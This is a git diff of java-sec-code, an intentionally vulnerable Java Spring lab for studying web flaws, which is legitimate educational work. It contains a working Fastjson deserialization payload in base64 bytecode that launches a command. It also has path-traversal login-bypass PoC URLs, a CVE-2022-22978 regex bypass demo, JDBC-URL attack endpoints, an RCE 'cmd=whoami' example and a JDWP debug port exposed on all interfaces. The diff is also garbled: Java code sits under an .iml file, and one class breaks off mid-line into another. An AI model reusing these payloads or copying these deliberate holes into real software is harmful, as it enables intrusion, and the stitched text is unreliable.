+If you like the poject, you can star java-sec-code project to support me. With your support, I will be able to make `Java sec code` better 😎.
diff --git a/README_zh.md b/README_zh.md
index 86d260bd..b5c658c3 100644
--- a/README_zh.md
+++ b/README_zh.md
@@ -2,7 +2,11 @@
对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。
-[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md)
+[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋
+
+## 招聘
+
+[Alibaba招聘-安全攻防/研究(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description)
## 介绍
@@ -10,7 +14,7 @@
每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。
-[在线Demo](http://118.25.15.216:8080)
+由于服务器到期,在线的Demo网站已不能使用。
登录用户名密码:
@@ -26,24 +30,35 @@ joychou/joychou123
- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java)
- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java)
- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
+- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java)
- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java)
- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java)
- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java)
- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java)
- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java)
+- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
+- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
+- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java)
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
+ - Runtime
+ - ProcessBuilder
+ - ScriptEngine
+ - Yaml Deserialize
+ - Groovy
+- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java)
- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)
- [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java)
- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java)
- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java)
+- [xlsxStreamerXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java)
- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java)
- [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java)
- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java)
-
+- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java)
## 漏洞说明
@@ -54,11 +69,13 @@ joychou/joychou123
- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson)
- [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI)
- [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP)
+- [POI-OOXML XXE](https://github.com/JoyChou93/java-sec-code/wiki/Poi-ooxml-XXE)
- [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject)
- [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF)
- [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI)
- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass)
- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE)
+- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT)
- [Others](https://github.com/JoyChou93/java-sec-code/wiki/others)
@@ -126,7 +143,7 @@ Viarus
例子:
```
-http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami
+http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami
```
返回:
@@ -182,12 +199,7 @@ Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会
核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。
-## 捐赠
-
-如果你喜欢这个项目,你可以捐款来支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。
-
-### Alipay
+## 支持
-扫描支付宝二维码支持`Java sec code`。
+如果你喜欢这个项目,你可以star该项目支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。
-
diff --git a/docker-compose.yml b/docker-compose.yml
index cb3f8efa..7e9c878e 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -1,9 +1,11 @@
-version : '2'
+version : '3'
services:
jsc:
image: joychou/jsc:latest
+ command: ["java", "-Xdebug", "-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000", "-jar", "jsc.jar"]
ports:
- "8080:8080"
+ - "8000:8000"
links:
- j_mysql
diff --git a/java-sec-code.iml b/java-sec-code.iml
index 1f7ef7b5..5c58c92b 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -1,185 +1,14 @@
-AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead.
+ * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2
+ */
+@ControllerAdvice
+public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice {
+
+ private final String[] callbacks;
+ private final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+
+ // method of using @Value in constructor
+ public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) {
+ super(callbacks); // Can set multiple paramNames
+ this.callbacks = callbacks;
+ }
+
+
+ // Check referer
+ @Override
+ protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaType contentType,
+ MethodParameter returnType, ServerHttpRequest req,
+ ServerHttpResponse res) {
+
+ HttpServletRequest request = ((ServletServerHttpRequest)req).getServletRequest();
+ HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse();
+
+ String realJsonpFunc = getRealJsonpFunc(request);
+ // 如果url带callback,且校验不安全后
+ if ( StringUtils.isNotBlank(realJsonpFunc) ) {
+ jsonpReferHandler(request, response);
+ }
+ super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res);
+ }
+
+ /**
+ * @return 获取实际jsonp的callback
+ */
+ private String getRealJsonpFunc(HttpServletRequest req) {
+
+ String reqCallback = null;
+ for (String callback: this.callbacks) {
+ reqCallback = req.getParameter(callback);
+ if(StringUtils.isNotBlank(reqCallback)) {
+ break;
+ }
+ }
+ return reqCallback;
+ }
+
+ // 校验Jsonp的Referer
+ private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse response) {
+
+ String refer = request.getHeader("referer");
+ String url = request.getRequestURL().toString();
+ String query = request.getQueryString();
+
+ // 如果jsonp校验的开关为false,不校验
+ if ( !WebConfig.getJsonpReferCheckEnabled() ) {
+ return;
+ }
+
+ // 校验jsonp逻辑,如果不安全,返回forbidden
+ if (SecurityUtil.checkURL(refer) == null ){
+ logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
+ try{
+ // 使用response.getWriter().write后,后续写入jsonp后还会继续使用response.getWriteer(),导致报错
+// response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+// response.getWriter().write(" Referer check error.");
+// response.flushBuffer();
+ response.sendRedirect(Constants.ERROR_PAGE);
+ } catch (Exception e){
+ logger.error(e.toString());
+ }
+
+ }
+ }
+}
diff --git a/src/main/java/org/joychou/config/SafeDomainConfig.java b/src/main/java/org/joychou/config/SafeDomainConfig.java
new file mode 100644
index 00000000..de2d0bd7
--- /dev/null
+++ b/src/main/java/org/joychou/config/SafeDomainConfig.java
@@ -0,0 +1,29 @@
+package org.joychou.config;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+
+
+/**
+ * 为了不要每次调用都解析safedomain的xml,所以将解析动作放在Bean里。
+ */
+@Configuration
+public class SafeDomainConfig {
+
+ private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class);
+
+ @Bean // @Bean代表将safeDomainParserf方法返回的对象装配到SpringIOC容器中
+ public SafeDomainParser safeDomainParser() {
+ try {
+ LOGGER.info("SafeDomainParser bean inject successfully!!!");
+ return new SafeDomainParser();
+ } catch (Exception e) {
+ LOGGER.error("SafeDomainParser is null " + e.getMessage(), e);
+ }
+ return null;
+ }
+
+}
+
diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java
new file mode 100644
index 00000000..b92ff9eb
--- /dev/null
+++ b/src/main/java/org/joychou/config/SafeDomainParser.java
@@ -0,0 +1,140 @@
+package org.joychou.config;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.core.io.ClassPathResource;
+import org.w3c.dom.Document;
+import org.w3c.dom.Node;
+import org.w3c.dom.NodeList;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import java.io.File;
+import java.util.ArrayList;
+
+public class SafeDomainParser {
+
+ private static Logger logger = LoggerFactory.getLogger(SafeDomainParser.class);
+
+ public SafeDomainParser() {
+
+ String rootTag = "domains";
+ String safeDomainTag = "safedomains";
+ String blockDomainTag = "blockdomains";
+ String finalTag = "domain";
+ String safeDomainClassPath = "url" + File.separator + "url_safe_domain.xml";
+ ArrayList
+ * 漏洞相关wiki
+ * @author JoyChou @2023-01-212
+ */
+
+public class Dotall {
+
+
+ /**
+ * 官方spring-security修复commit记录
+ */
+ public static void main(String[] args) throws Exception{
+ Pattern vuln_pattern = Pattern.compile("/black_path.*");
+ Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL);
+
+ String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString());
+ System.out.println("Poc: " + poc);
+ System.out.println("Not dotall: " + vuln_pattern.matcher(poc).matches()); // false,非dotall无法匹配\r\n
+ System.out.println("Dotall: " + sec_pattern.matcher(poc).matches()); // true,dotall可以匹配\r\n
+ }
+}
diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java
index 684ee253..37c4ec18 100644
--- a/src/main/java/org/joychou/controller/Fastjson.java
+++ b/src/main/java/org/joychou/controller/Fastjson.java
@@ -10,30 +10,26 @@
import org.springframework.web.bind.annotation.ResponseBody;
-
@Controller
@RequestMapping("/fastjson")
public class Fastjson {
- @RequestMapping(value = "/deserialize", method = {RequestMethod.POST })
+ @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
@ResponseBody
- public static String Deserialize(@RequestBody String params) {
+ public String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式,post数据会被url编码
- System.out.println(params);
try {
// 将post提交的string转换为json
JSONObject ob = JSON.parseObject(params);
return ob.get("name").toString();
- }catch (Exception e){
- e.printStackTrace();
+ } catch (Exception e) {
return e.toString();
}
}
public static void main(String[] args) {
-
// Open calc in mac
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
- JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
+ JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java
index ac378219..a1858a12 100644
--- a/src/main/java/org/joychou/controller/FileUpload.java
+++ b/src/main/java/org/joychou/controller/FileUpload.java
@@ -1,11 +1,10 @@
package org.joychou.controller;
import com.fasterxml.uuid.Generators;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.GetMapping;
-import org.springframework.web.bind.annotation.PostMapping;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
@@ -19,25 +18,30 @@
import java.nio.file.Paths;
import java.util.UUID;
+import org.joychou.security.SecurityUtil;
+
/**
- * @author JoyChou (joychou@joychou.org)
- * @date 2018.08.15
- * @desc Java file upload
+ * File upload.
+ *
+ * @author JoyChou @ 2018-08-15
*/
-
@Controller
@RequestMapping("/file")
public class FileUpload {
// Save the uploaded file to this folder
- private static String UPLOADED_FOLDER = "/tmp/";
+ private static final String UPLOADED_FOLDER = "/tmp/";
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+ private static String randomFilePath = "";
- @GetMapping("/")
+ // uplaod any file
+ @GetMapping("/any")
public String index() {
return "upload"; // return upload.html page
}
+ // only allow to upload pictures
@GetMapping("/pic")
public String uploadPic() {
return "uploadPic"; // return uploadPic.html page
@@ -63,42 +67,74 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file,
} catch (IOException e) {
redirectAttributes.addFlashAttribute("message", "upload failed");
- e.printStackTrace();
- return "redirect:/file/status";
+ logger.error(e.toString());
}
return "redirect:/file/status";
}
+ @GetMapping("/status")
+ public String uploadStatus() {
+ return "uploadStatus";
+ }
+
// only upload picture
@PostMapping("/upload/picture")
- public String uploadPicture(@RequestParam("file") MultipartFile multifile,
- RedirectAttributes redirectAttributes) throws Exception{
+ @ResponseBody
+ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
if (multifile.isEmpty()) {
- // 赋值给uploadStatus.html里的动态参数message
- redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
- return "redirect:/file/status";
+ return "Please select a file to upload";
}
- // get suffix
String fileName = multifile.getOriginalFilename();
- String Suffix = fileName.substring(fileName.lastIndexOf("."));
-
+ String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
+ String mimeType = multifile.getContentType(); // 获取MIME类型
+ String filePath = UPLOADED_FOLDER + fileName;
File excelFile = convert(multifile);
- // security check
- String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp"};
- Boolean suffixFlag = false;
+
+ // 判断文件后缀名是否在白名单内 校验1
+ String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
+ boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {
if (Suffix.toLowerCase().equals(white_suffix)) {
suffixFlag = true;
break;
}
}
- if ( !suffixFlag || !isImage(excelFile) ) {
- redirectAttributes.addFlashAttribute("message", "illeagl picture");
- deleteFile(excelFile);
- return "redirect:/file/status";
+ if (!suffixFlag) {
+ logger.error("[-] Suffix error: " + Suffix);
+ deleteFile(filePath);
+ return "Upload failed. Illeagl picture.";
+ }
+
+
+ // 判断MIME类型是否在黑名单内 校验2
+ String[] mimeTypeBlackList = {
+ "text/html",
+ "text/javascript",
+ "application/javascript",
+ "application/ecmascript",
+ "text/xml",
+ "application/xml"
+ };
+ for (String blackMimeType : mimeTypeBlackList) {
+ // 用contains是为了防止text/html;charset=UTF-8绕过
+ if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
+ logger.error("[-] Mime type error: " + mimeType);
+ deleteFile(filePath);
+ return "Upload failed. Illeagl picture.";
+ }
+ }
+
+ // 判断文件内容是否是图片 校验3
+ boolean isImageFlag = isImage(excelFile);
+ deleteFile(randomFilePath);
+
+ if (!isImageFlag) {
+ logger.error("[-] File is not Image");
+ deleteFile(filePath);
+ return "Upload failed. Illeagl picture.";
}
@@ -107,48 +143,45 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile,
byte[] bytes = multifile.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
Files.write(path, bytes);
-
- redirectAttributes.addFlashAttribute("message",
- "You successfully uploaded '" + UPLOADED_FOLDER + multifile.getOriginalFilename() + "'");
-
} catch (IOException e) {
- redirectAttributes.addFlashAttribute("message", "upload failed");
- e.printStackTrace();
- deleteFile(excelFile);
- return "redirect:/file/status";
+ logger.error(e.toString());
+ deleteFile(filePath);
+ return "Upload failed";
}
- deleteFile(excelFile);
- return "redirect:/file/status";
+ logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
+ logger.info("[+] Successfully uploaded {}", filePath);
+ return String.format("You successfully uploaded '%s'", filePath);
}
- @GetMapping("/status")
- public String uploadStatus() {
- return "uploadStatus";
- }
-
- private void deleteFile(File... files) {
- for (File file : files) {
- if (file.exists()) {
- file.delete();
+ private void deleteFile(String filePath) {
+ File delFile = new File(filePath);
+ if(delFile.isFile() && delFile.exists()) {
+ if (delFile.delete()) {
+ logger.info("[+] " + filePath + " delete successfully!");
+ return;
}
}
+ logger.info(filePath + " delete failed!");
}
/**
+ * 为了使用ImageIO.read()
+ *
* 不建议使用transferTo,因为原始的MultipartFile会被覆盖
* https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file
- *
- * @param multiFile
- * @return
*/
private File convert(MultipartFile multiFile) throws Exception {
String fileName = multiFile.getOriginalFilename();
String suffix = fileName.substring(fileName.lastIndexOf("."));
UUID uuid = Generators.timeBasedGenerator().generate();
-
- File convFile = new File(UPLOADED_FOLDER + uuid + suffix);
- convFile.createNewFile();
+ randomFilePath = UPLOADED_FOLDER + uuid + suffix;
+ // 随机生成一个同后缀名的文件
+ File convFile = new File(randomFilePath);
+ boolean ret = convFile.createNewFile();
+ if (!ret) {
+ return null;
+ }
FileOutputStream fos = new FileOutputStream(convFile);
fos.write(multiFile.getBytes());
fos.close();
@@ -157,15 +190,9 @@ private File convert(MultipartFile multiFile) throws Exception {
/**
* Check if the file is a picture.
- *
- * @param file
- * @return
*/
- public static boolean isImage(File file) throws IOException {
+ private static boolean isImage(File file) throws IOException {
BufferedImage bi = ImageIO.read(file);
- if (bi == null) {
- return false;
- }
- return true;
+ return bi != null;
}
-}
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java
new file mode 100644
index 00000000..e500b980
--- /dev/null
+++ b/src/main/java/org/joychou/controller/GetRequestURI.java
@@ -0,0 +1,51 @@
+package org.joychou.controller;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.util.AntPathMatcher;
+import org.springframework.util.PathMatcher;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+/**
+ * The difference between getRequestURI and getServletPath.
+ * 由于Spring Security的antMatchers("/css/**", "/js/**")未使用getRequestURI,所以登录不会被绕过。
+ *
+ * Details: https://joychou.org/web/security-of-getRequestURI.html + *
+ * Poc: + * http://localhost:8080/css/%2e%2e/exclued/vuln + * http://localhost:8080/css/..;/exclued/vuln + * http://localhost:8080/css/..;bypasswaf/exclued/vuln + * + * @author JoyChou @2020-03-28 + */ + +@RestController +@RequestMapping("uri") +public class GetRequestURI { + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @GetMapping(value = "/exclued/vuln") + public String exclued(HttpServletRequest request) { + + String[] excluedPath = {"/css/**", "/js/**"}; + String uri = request.getRequestURI(); // Security: request.getServletPath() + PathMatcher matcher = new AntPathMatcher(); + + logger.info("getRequestURI: " + uri); + logger.info("getServletPath: " + request.getServletPath()); + + for (String path : excluedPath) { + if (matcher.match(path, uri)) { + return "You have bypassed the login page."; + } + } + return "This is a login page >..<"; + } +} diff --git a/src/main/java/org/joychou/controller/IPForge.java b/src/main/java/org/joychou/controller/IPForge.java index d3550e4f..9950e766 100644 --- a/src/main/java/org/joychou/controller/IPForge.java +++ b/src/main/java/org/joychou/controller/IPForge.java @@ -1,25 +1,23 @@ package org.joychou.controller; import org.apache.commons.lang.StringUtils; -import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletRequest; /** - * @author JoyChou (joychou@joychou.org) - * @date 2017.12.29 - * @desc Java获取IP安全代码 - * @detail 关于获取IP不安全代码,详情可查看https://joychou.org/web/how-to-get-real-ip.html + * Java get real ip. More details: https://joychou.org/web/how-to-get-real-ip.html + * + * @author JoyChou @ 2017-12-29 */ - -@Controller +@RestController @RequestMapping("/ip") public class IPForge { + // no any proxy @RequestMapping("/noproxy") - @ResponseBody public static String noProxy(HttpServletRequest request) { return request.getRemoteAddr(); } @@ -36,7 +34,7 @@ public static String proxy(HttpServletRequest request) { String ip = request.getHeader("X-Real-IP"); if (StringUtils.isNotBlank(ip)) { return ip; - }else { + } else { String remoteAddr = request.getRemoteAddr(); if (StringUtils.isNotBlank(remoteAddr)) { return remoteAddr; diff --git a/src/main/java/org/joychou/controller/Jdbc.java b/src/main/java/org/joychou/controller/Jdbc.java new file mode 100644 index 00000000..79154c1e --- /dev/null +++ b/src/main/java/org/joychou/controller/Jdbc.java @@ -0,0 +1,36 @@ +package org.joychou.controller; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.DriverManager; + +/** + * Jdbc Attack @2023.04 + */ +@Slf4j +@RestController +@RequestMapping("/jdbc") +public class Jdbc { + + /** + * CVE-2022-21724 + */ + @RequestMapping("/postgresql") + public void postgresql(String jdbcUrlBase64) throws Exception{ + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } + + @RequestMapping("/db2") + public void db2(String jdbcUrlBase64) throws Exception{ + Class.forName("com.ibm.db2.jcc.DB2Driver"); + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } +} diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java new file mode 100644 index 00000000..eb9381e3 --- /dev/null +++ b/src/main/java/org/joychou/controller/Jsonp.java @@ -0,0 +1,141 @@ +package org.joychou.controller; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; + +import com.alibaba.fastjson.JSONPObject; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang.StringUtils; +import org.joychou.util.LoginUtils; +import org.joychou.security.SecurityUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.security.web.csrf.CookieCsrfTokenRepository; +import org.springframework.security.web.csrf.CsrfToken; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.view.json.MappingJackson2JsonView; +import org.joychou.config.WebConfig; +import org.joychou.util.WebUtils; + +import javax.servlet.http.HttpServletRequest; +import java.security.Principal; + + +/** + * @author JoyChou (joychou@joychou.org) @ 2018.10.24 + * https://github.com/JoyChou93/java-sec-code/wiki/JSONP + */ + +@Slf4j +@RestController +@RequestMapping("/jsonp") +public class Jsonp { + + private String callback = WebConfig.getBusinessCallback(); + + @Autowired + CookieCsrfTokenRepository cookieCsrfTokenRepository; + /** + * Set the response content-type to application/javascript. + *
+ * http://localhost:8080/jsonp/vuln/referer?callback_=test + */ + @RequestMapping(value = "/vuln/referer", produces = "application/javascript") + public String referer(HttpServletRequest request) { + String callback = request.getParameter(this.callback); + return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); + } + + /** + * Direct access does not check Referer, non-direct access check referer. + * Developer like to do jsonp testing like this. + *
+ * http://localhost:8080/jsonp/vuln/emptyReferer?callback_=test
+ */
+ @RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript")
+ public String emptyReferer(HttpServletRequest request) {
+ String referer = request.getHeader("referer");
+
+ if (null != referer && SecurityUtil.checkURL(referer) == null) {
+ return "error";
+ }
+ String callback = request.getParameter(this.callback);
+ return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
+ }
+
+ /**
